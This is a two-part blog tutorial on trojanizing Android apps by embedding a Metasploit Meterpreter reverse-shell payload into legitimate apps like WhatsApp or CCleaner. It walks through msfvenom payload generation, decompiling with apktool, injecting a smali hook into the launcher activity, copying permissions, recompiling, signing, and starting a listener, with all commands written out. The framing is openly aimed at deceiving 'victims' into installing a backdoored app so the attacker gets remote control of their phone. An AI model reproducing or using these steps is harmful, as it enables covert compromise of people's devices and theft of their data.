Embed a Metasploit Payload in an original .apk File | Part 2 – Do it manually

Metasploit’s flagship product, the Meterpreter, is very powerful and an all-purpose payload. Once installed on the victim machine, we can do whatever we want to their system by sending out commands to it. For example, we could grab sensitive data out of the compromised system.

The Meterpreter payload also comes as an installable .apk file for Android systems. Great! Now we can use Metasploit to compromise Android phones also. But if you have tried out these payloads you would know that they do not look convincing. No one in their right mind is going to install and run such an app, which apparently does nothing when it is opened. So how are we going to make the victim run the payload app in their phone?

One of the solutions is that you can embed the payload inside another legitimate app. The app will look and behave exactly as the original one, so the victim won’t even know that his system is compromised. That’s what we are going to do in this tutorial.

NOTE – This is a follow-up post of my previous post, in which I showed you how to do this using a very simple yet effective Ruby script. If you haven’t read it, check it out. If you are not willing to go down the hard path, you can use that method to do it just fine. But if you want to know the inner workings and have a greater knowledge, continue reading this post. And also, In the following Android Hacking tutorials, I may refer to this tutorial, so If you can take it, I suggest you to keep on reading.

PRE-REQUISTICS:

This tutorial is based on the Kali Linux Operating System. I’m sure it can be done in other OS, especially Linux Distros, but that will involve some more complications so I’m not going to cover those. If you are serious about Hacking [or Penetration Testing, if you prefer], you should use Kali as it was built specifically for Pen-Testing.

We will also need some libraries and tools in the following steps, so I think it’s better if you install them right now.

To install the required libraries, enter this command at the console:

apt-get install lib32stdc++6 lib32ncurses5 lib32z1

And to get the latest version of ApkTool, head over to this site and follow the installation instructions.

Also download the apk which you want to be backdoor-ed from any source you like. Just do a google search “app_name apk download” and Google will come up with a lot of results. Save that apk in the root folder.

BRIEF OVERVIEW:

Since this tutorial is a little bit long, I’m giving a brief overview of what we are going to do here.

  1. Generate the Meterpreter payload
  2. Decompile the payload and the original apk
  3. Copy the payload files to the original apk
  4. Inject the hook into the appropriate activity of the original apk
  5. Inject the permissions in the AndroidManifest.xml file
  6. Re-compile the original apk
  7. Sign the apk using Jarsigner

That’s about it. I will also show you how can you get a working Meterpreter session using that backdoored apk, if you don’t know that already. So let’s get started.

STEP 1: GENERATE THE PAYLOAD:

First of all, we have to make the Meterpreter payload. We are going to use MSFVenom for this. The command is-

msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Address] LPORT=[Incoming_Port] -o meterpreter.apk
      • Replace [Payload_Type] by any of the following payloads available. The function of all these payloads are same, essentially they are all Meterpreter payloads, the difference is only in the method they use to connect to your Kali system. The available [Payload_Type]s are –
        1. reverse_tcp
        2. reverse_http
        3. reverse_https

        You can use any one you like, I’m going to use reverse_https as an example.

      • Replace [IP_Address] by the IP address to which the payload is going to connect back to, i.e the IP address of the attacker’s system. If you are going to perform this attack over a local network (eg. if the victim and attacker are connected to the same WiFi hotspot), your Local IP will suffice. To know what your local IP is, run the command –
        ifconfig
        Screenshot from 2015-12-18 13:56:49

        If you are going to perform this attack over the Internet, you have to use your public IP address, and configure your router properly (set up port forwarding) so that your system is accessible from the Internet. To know your public IP, just google “My IP” and Google will help you out.

      • Replace [Incoming_Port] with the port no. which you want to be used by the payload to connect to your system. This can be any valid port except the reserved ones like port 80 (HTTP). I’m going to use 4895 as an example.

So run the command using replacing the keywords with appropriate values and MSFVenom will generate a payload “meterpreter.apk” in the root directory. Note that we specified the output file name using the “-o meterpreter.apk” argument in the command, so if you like, you can name it anything else also.

Screenshot from 2015-12-18 14:23:14

STEP 2: DECOMPILE THE APKs:

Now we have to decompile the APKs, for this we are going to use APKTool. It decompiles the code to a fairly human-readable format and saves it in .smali files, and also successfully extracts the .xml files. Assuming you have already installed the latest apktool and also have the original apk file in the root directory, run the following commands –

apktool d -f -o payload /root/meterpreter.apk

apktool d -f -o original /root/[Original_APK_Name]

It will decompile the payload to “/root/payload” and the original apk to “/root/original” directory.

Screenshot from 2015-12-19 01:30:26

 

STEP 3: COPY THE PAYLOAD FILES:

Now we have to copy the payload files to the original app’s folder. Just go to “/root/payload/smali/com/metasploit/stage” and copy all the .smali files whose file name contains the word ‘payload’. Now paste them in “/root/original/smali/com/metasploit/stage”. Note that this folder does not exists, so you have to create it.

STEP 4: INJECT THE HOOK IN THE ORIGINAL .SMALI CODE:

In the previous step, we just copied the payload codes inside the original apk, so that when the original apk is recompiled, it will contain the payload. But that doesn’t necessarily mean that the payload will run. To ensure that the payload runs, we have to inject a hook in the original apk’s .smali code. If you are wondering what is this hook thingy I’m talking about, well essentially it’s a code which intercepts some specific function call and reacts to it. In this case, we are going to place the hook so that when the app is launched, it will also launch the payload with it.

For this, firstly we have to find out which activity [to put it simply, activities are sections of code, it’s similar to frames in windows programming] is run when the app is launched. We can get this info from the AndroidManifest.xml file.

So open up the AndroidManifest.xml file located inside the “/root/original” folder using any text editor. If you know HTML, then this file will look familiar to you. Both of them are essentially Markup Languages, and both use the familiar tags and attributes structure [e.g. <tag attribute=”value”> Content </tag>]. Anyway, look for an <activity> tag which contains both the lines –

<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>

On a side note, you can use CTRL+F to search within the document in any GUI text editor. When you locate that activity, note its “android:name” attribute’s value. In my case, as you can see from the screenshot below, it is “com.piriform.ccleaner.ui.activity.MainActivity”.

Screenshot from 2015-12-19 13:21:32

Those two lines we searched for signifies that this is the activity which is going to start when we launch the app from the launcher icon, and also this is a MAIN activity [similar to the ‘main’ function in traditional programming].

Now that we have the name of the activity we want to inject the hook into, let’s get to it! First of all, open the .smali code of that activity using gedit. Just open a terminal and type –

gedit /root/original/smali/[Activity_Path]

Replace the [Activity_Path] with the activity’s “android:name”, but instead of the dots, type slash. Actually the smali codes are stored in folders named in the format the “android:name” is in, so we can easily get the location of the .smali code in the way we did. Check the screenshot below and you will get an idea of what I’m trying to say.

Screenshot from 2015-12-19 19:06:17

Now search for the following line in the smali code [using CTRL+F] –

;->onCreate(Landroid/os/Bundle;)V

When you locate it, paste the following code in the line next to it –

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

What we are doing here is, inserting a code which starts the payload alongside the existing code which is executed when the activity starts. Now, save the edited smali file.

STEP 5: INJECT THE NECESSARY PERMISSIONS:

From developer.android.com –

Additional finer-grained security features are provided through a “permission” mechanism that enforces restrictions on the specific operations that a particular process can perform.

If we do not mention all the additional permissions that our payload is going to need, it cannot function properly. While installing an app, these permissions are shown to the user. But most of the users don’t care to read all those boring texts, so we do not have to worry about that much.

These permissions are also listed in the previously encountered AndroidManifest file. So let’s open the AndroidManifest.xml of both the original app and the payload from the respective folders. The permissions are mentioned inside <uses-permission> tag as an attribute ‘android:name’. Copy the additional permission lines from the Payload’s AndroidManifest to the original app’s one. But be careful that there should not be any duplicate.

Here’s my original app’s AndroidManifest before editing –Screenshot from 2015-12-19 19:37:12

After adding the additional ones from the Payload’s AndroidManifest, my /root/original/AndroidManifest.xml looks like this – Screenshot from 2015-12-19 19:42:48

STEP 6: RECOMPILE THE ORIGINAL APK:

Now th hard parts are all done! We just have to recompile the backdoored app into an installable apk. Run the following command –

apktool b /root/original

Screenshot from 2015-12-19 20:14:31

You will now have the compiled apk inside the “/root/original/dist” directory. But, we’re still not done yet.

STEP 7: SIGN THE APK:

This is also a very important step, as in most of the cases, an unsigned apk cannot be installed. From developer.android.com –

Android requires that all apps be digitally signed with a certificate before they can be installed. Android uses this certificate to identify the author of an app, and the certificate does not need to be signed by a certificate authority. Android apps often use self-signed certificates. The app developer holds the certificate's private key.

In this case we are going to sign the apk using the default android debug key. Just run the following command –

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA [apk_path] androiddebugkey

Be sure to replace the [apk_path] in the above command with the path to your backdoored apk file.

Screenshot from 2015-12-19 20:28:31

PROFIT?!:

Now if you can get the victim to install and run this very legit-looking app in his phone, you can get a working meterpreter session on his phone!

Screenshot from 2015-12-19 20:44:01

Embed a Metasploit Payload in an Original .apk File | Part 1 – The Easy Way

Hi Fellas! I’m sure most of you, or at least those who have set a foot in the kingdom of hacking, have heard of Metasploit. Don’t be disappointed if you haven’t, because you’re in the right track.

From Wikipedia,

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.

In a more informal language, it’s a tool which we can use to perform various kinds of hacks against a machine. The flagship payload which comes with the Metasploit Framework is the ‘Meterpreter’, which also has an Android version that comes as an .apk file. In case you are wondering what a payload is,  it’s a program we can install on a victim’s system to compromise it. Normally we have to install the Meterpreter payload in the victims phone by any means [Usually involving Social Engineering], and when the victim runs the application, we would get a direct connection to that phone remotely and we can use it to wreak havoc on it.

But since the payload app doesn’t look very legit, takes up only a few kBs, and doesn’t show anything when clicked on, the victim will probably uninstall it right away, or worse, wouldn’t install it at all. So we have to solve that problem.

Here’s where this tutorial comes in. I’m gonna show you how to take any .apk file, be it WhatsApp or Amazon or SnapChat, and embed the Meterpreter payload in that apk. To the victim it will look and behave exactly as the original app, so he will use it regularly without any doubt, letting you do anything you want to his phone.

PRE-REQUISTICS:

Just to be clear,  In this tutorial the operating system used is Kali Linux, which is a de facto standard OS for Penetration Testing (Read, hacking). You should also install the latest version of ‘ApkTool’ and some libraries for the scripts to work properly.

To install the required libraries, enter this command at the console:

apt-get install lib32stdc++6 lib32ncurses5 lib32z1

And to get the latest version of ApkTool, head over to this site and follow the installation instructions.

STEP 1:

First of all grab the original apk from any of the numerous websites available. Just do a google search “app_name apk download” and Google will come up with a lot of results. Save that apk in any folder, in this tutorial I will use the Root folder and a WhatApp.apk as example.

STEP 2:

Download the Ruby script from this link and save it in the same folder as that of the original apk.

STEP 3:

Open a terminal, and type the following command:

ruby apk-embed-payload.rb WhatsApp.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4895

In this example I’ve used 192.168.0.104 as the Local IP address, i.e. your IP address and 4895 as the port on your Computer through which the Meterpreter payload will connect back to you. Make sure to change it to the appropriate values, especially the IP, the LPORT can be set to any reasonable port no.

NOTE – If you are going to conduct this attack over the internet, be sure to put your public IP, not your local IP, in the LHOST option. You also may need to forward the port you’re using for this attack to work properly.

Once you run the command, if you are lucky, the script will do everything by itself and complete the whole process. But more than often it cannot determine to which Activity of the app it should bind the payload to, so it asks you to select it. In that case, leave the terminal open with the script at the prompt, and browse to /root/original.

Then open the AndroidManifest.xml file using any text editor you like and look for an <activity> tag which contains both the texts ‘.MAIN’ and ‘.LAUNCHER’. When you find that tag, look for the ‘android:name’ attribute of that tag and from there, note the name of that Activity.

At the prompt of the Ruby script, enter the number corresponding to the Activity name you had noted previously and press Enter.

This is the hardest step of all, so I’m posting some screenshots to make your life easier.

Screenshot from 2015-12-12 01-44-01Screenshot from 2015-12-12 01-43-27

PROFIT?!:

If you did everything correctly, you should now get a apk file in your root directory with the name ‘backdoored_WhatsApp.apk’. It will install and run just like the original app.

As for the listener, you should use multi/handler and set the corresponding options accordingly. Just run the following commands.

msfconsole
use multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.0.104
set LPORT 4895
exploit

Now wait for the victim to run the app, when he does it, you will get a Meterpreter prompt in the terminal!

Screenshot from 2015-12-18 14:32:55

NOTE:

You must have noticed I haven’t explained anything, rather asked you to blindly follow. As none of us wants to be a script-kiddie, we will learn how to do this manually in the next article. To be honest, I didn’t know how to successfully implement this until I found this script. After I saw that this script does what it promises, I learned the process by reverse-engineering it. Let us set that story apart for another article.

If you face any problem, don’t forget to mention it in the comments. I’ll try to help you in any way I can.

CREDITS:

I found the script from the comments section of a thread in NullByte, so thanks to the guy who shared it, I’m sorry I don’t remember which thread it was or who the guy was. And credit of making this script goes to timwr and Jack64.